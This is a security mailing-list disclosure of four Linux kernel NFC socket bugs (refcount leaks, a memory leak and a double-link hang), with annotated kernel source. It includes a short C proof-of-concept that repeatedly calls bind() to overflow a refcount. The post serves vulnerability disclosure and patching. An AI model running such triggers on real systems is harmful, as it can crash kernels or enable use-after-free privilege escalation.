

[Products](#)[Services](#)[Publications](#)[Resources](#)[What's new](#)

Follow @Openwall on Twitter for new release announcements and other news

[\[<prev\]](#) [\[next>\]](#) [\[day\]](#) [\[month\]](#) [\[year\]](#) [\[list\]](#)

Date: Sun, 1 Nov 2020 13:12:13 +0000

From: Kiyin (尹亮) <kiyin@...cent.com>
To: "oss-security@...ts.openwall.com" <oss-security@...ts.openwall.com>
Cc: Greg KH <greg@...ah.com>, Anthony Liguori <aliguori@...zon.com>
Subject: [CVE-2020-25670,CVE-2020-25671,CVE-2020-25672,CVE-2020-25673]Linux
kernel: many bugs in nfc socket

CVE Assigned:
> CVE-2020-25670 : new bug 1
> CVE-2020-25671 : new bug 2
> CVE-2020-25672 : new bug 3
> CVE-2020-25673 : new bug 4

Patches:
not yet available

Details:

Hi,

we found many bugs in nfc socket. Here is the detail.

At first, let's see a fixed bug from <https://lore.kernel.org/patchwork/patch/1135836>. this patch fixed a memory leak bug in llcp_sock_bind()

```
--- a/net/nfc/llcp_sock.c
+++ b/net/nfc/llcp_sock.c
@@ -119,9 +119,14 @@ static int llcp_sock_bind(struct socket
     llcp_sock->service_name = kmemdup(llcp_addr.service_name,
                                     llcp_sock->service_name_len,
                                     GFP_KERNEL);
-
+   if (!llcp_sock->service_name) {
+       ret = -ENOMEM;
+       goto put_dev;
+   }
     llcp_sock->ssap = nfc_llcp_get_sdp_ssap(local, llcp_sock);
     if (llcp_sock->ssap == LLCP_SAP_MAX) {
+       kfree(llcp_sock->service_name);
+       llcp_sock->service_name = NULL;
+       ret = -EADDRINUSE;
+       goto put_dev;
     }
```

if nfc_llcp_get_sdp_ssap failed, llcp_sock->service_name will be freed. That's really fixed.

new bug 1, refcount leak in llcp_sock_bind():

In the same function llcp_sock_bind(), nfc_llcp_local_get() is called before kmemdup.

https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/tree/net/nfc/llcp_sock.c?h=v5.3.18#n101

```
101 llcp_sock->dev = dev;
102 llcp_sock->local = nfc_llcp_local_get(local);          <---- nfc_llcp_local_get increases the refcount of local, adds plus 1
103 llcp_sock->nfc_protocol = llcp_addr.nfc_protocol;
104 llcp_sock->service_name_len = min_t(unsigned int,
105                                     llcp_addr.service_name_len,
106                                     NFC_LLCP_MAX_SERVICE_NAME);
107 llcp_sock->service_name = kmemdup(llcp_addr.service_name,
108                                  llcp_sock->service_name_len,
109                                  GFP_KERNEL);
110 if (!llcp_sock->service_name) {
111     ret = -ENOMEM;
112     goto put_dev;
113 }
114 llcp_sock->ssap = nfc_llcp_get_sdp_ssap(local, llcp_sock);
115 if (llcp_sock->ssap == LLCP_SAP_MAX) {
116     kfree(llcp_sock->service_name);          <---- if nfc_llcp_get_sdp_ssap returns LLCP_SAP_MAX, only llcp_sock->service_name gets be freed.
117     llcp_sock->service_name = NULL;          <---- nothing is done to local.
118     ret = -EADDRINUSE;
119     goto put_dev;
120 }
.....
130 put_dev:          <---- nothing is done to local in put_dev label either.
131     nfc_put_device(dev);
132
133 error:
134     release_sock(sk);
135     return ret;          <---- the refcount of local remains added.
```

from the analysis above, we can see that: if nfc_llcp_get_sdp_ssap returns LLCP_SAP_MAX, when llcp_sock_bind() is returned, sk->sk_state is still LLCP_CLOSED. So we can call llcp_sock_bind() many times, keep the refcount of local increasing.

There is a REFCOUNT_CHECK_LT_ZERO in refcount_inc. When the refcount of local gets to 0x80000000, if the system handles the refcount exception, it leads to a system panic. If not, it will get to 0xFFFFFFFF and then to 0, then to 1... If nfc_llcp_local_put is called, the local will be freed. that is a worse UAF bug which might lead to privilege escalations.

Here is the test code:

```
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <linux/nfc.h>

#define NFC_SOCKETPROTO_LLCP 1
#define NFC_PROTO_NFC_DEP 5

int main()
{
    unsigned int i;
    int fd;
    struct sockaddr_nfc_llcp addr;

    fd = socket( AF_NFC, SOCK_STREAM, NFC_SOCKETPROTO_LLCP );
    if ( fd < 0 )
        return 0;

    memset( &addr, 0, sizeof(struct sockaddr_nfc_llcp) );
    addr.sa_family = AF_NFC;
    addr.dev_idx = 0;
    addr.nfc_protocol = NFC_PROTO_NFC_DEP;
    addr.service_name_len = 0;

    for ( i = 0; i < 0x900000000; i++ )
    {
        bind( fd, (struct sockaddr*) &addr, sizeof(struct sockaddr_nfc_llcp) );
    }

    close( fd );
    return 0;
}
```

new bug 2, refcount leak in llcp_sock_connect():

it is the same bug as the one described above.

https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/tree/net/nfc/llcp_sock.c?h=v5.3.18#n701

```
701 llcp_sock->dev = dev;
702 llcp_sock->local = nfc_llcp_local_get(local);          <---- nfc_llcp_local_get increases the refcount of local, adds plus 1
703 llcp_sock->ssap = nfc_llcp_get_local_ssap(local);
704 if (llcp_sock->ssap == LLCP_SAP_MAX) {          <---- if nfc_llcp_get_local_ssap returns LLCP_SAP_MAX
705     ret = -ENOMEM;
706     goto put_dev;
```

```

707     }
.....
750 put_dev:
751     _nfc_put_device(dev);
752
753 error:
754     release_sock(sk);
755     return Ret;
<---- nothing is done to local in put_dev label.
<---- the refcount of local remains added.

new bug 3, memory leak in llcp_sock_connect():
it is the same bug as the fixed one in llcp_sock_bind()
https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/tree/net/nfc/llcp_sock.c?h=v5.3.18#n719
719     llcp_sock->service_name = kmemdup(addr->service_name,
720         llcp_sock->service_name_len,
721         GFP_KERNEL);
722     if (!llcp_sock->service_name) {
723         ret = -ENOMEM;
724         goto sock_llcp_release;
725     }
726     nfc_llcp_sock_link(&local->connecting_sockets, sk);
727
728     ret = nfc_llcp_send_connect(llcp_sock);
729     if (ret)
730         goto sock_unlink;
731     goto sock_unlink;
<---- kmemdup allocates memory for llcp_sock->service_name
<---- if nfc_llcp_send_connect is failed, llcp_sock->service_name is not freed.
<---- llcp_sock->service_name is not freed in the next.
.....
744 sock_unlink:
745     nfc_llcp_sock_unlink(&local->connecting_sockets, sk);
746
747     sock_llcp_release:
748     nfc_llcp_put_ssap(local, llcp_sock->ssap);
749
750 put_dev:
751     _nfc_put_device(dev);
752
753 error:
754     release_sock(sk);
755     return Ret;
<---- sk->sk_state is not LLCP_CONNECTED. we can call llcp_sock_connect() many times.

new bug 4, non-blocking socket in llcp_sock_connect():
https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/tree/net/nfc/llcp_sock.c?h=v5.3.18#n727
727     nfc_llcp_sock_link(&local->connecting_sockets, sk);
728
729     ret = nfc_llcp_send_connect(llcp_sock);
730     if (ret)
731         goto sock_unlink;
732
733     sk->sk_state = LLCP_CONNECTING;
734
735     ret = sock_wait_state(sk, LLCP_CONNECTED,
736         sock_sndtimeo(sk, flags & O_NONBLOCK));
737     if (ret && ret != -EINPROGRESS)
738         goto sock_unlink;
739
740     release_sock(sk);
741
742     return ret;
<---- sk is linked to local->connecting_sockets
<---- calling ioctl(fd, FIONBIO, &imode) before connect will make the socket flag get O_NONBLOCK mask.
<---- sock_wait_state returns -EINPROGRESS right away
<---- llcp_sock_connect() returns right away

if we set llcp_sock->service_name to meaningless string, the connect will be failed. and sk->sk_state will not be LLCP_CONNECTED. then we can call llcp_sock_connect() many times. that
leaks everything:
llcp_sock->dev, llcp_sock->local, llcp_sock->ssap, llcp_sock->service_name...
leak is one problem. another problem is that we can call llcp_sock_connect() twice before nfc target response. nfc_llcp_sock_link() will add sk to local->connecting_sockets twice. sk-
->sk_node->next will point to itself, that will make an endless loop and hang-up the system.

Regards,
Kiyin.

```

Powered by blists - more mailing lists

Please check out the [Open Source Software Security Wiki](#), which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these [guidelines on proper formatting of your messages](#).

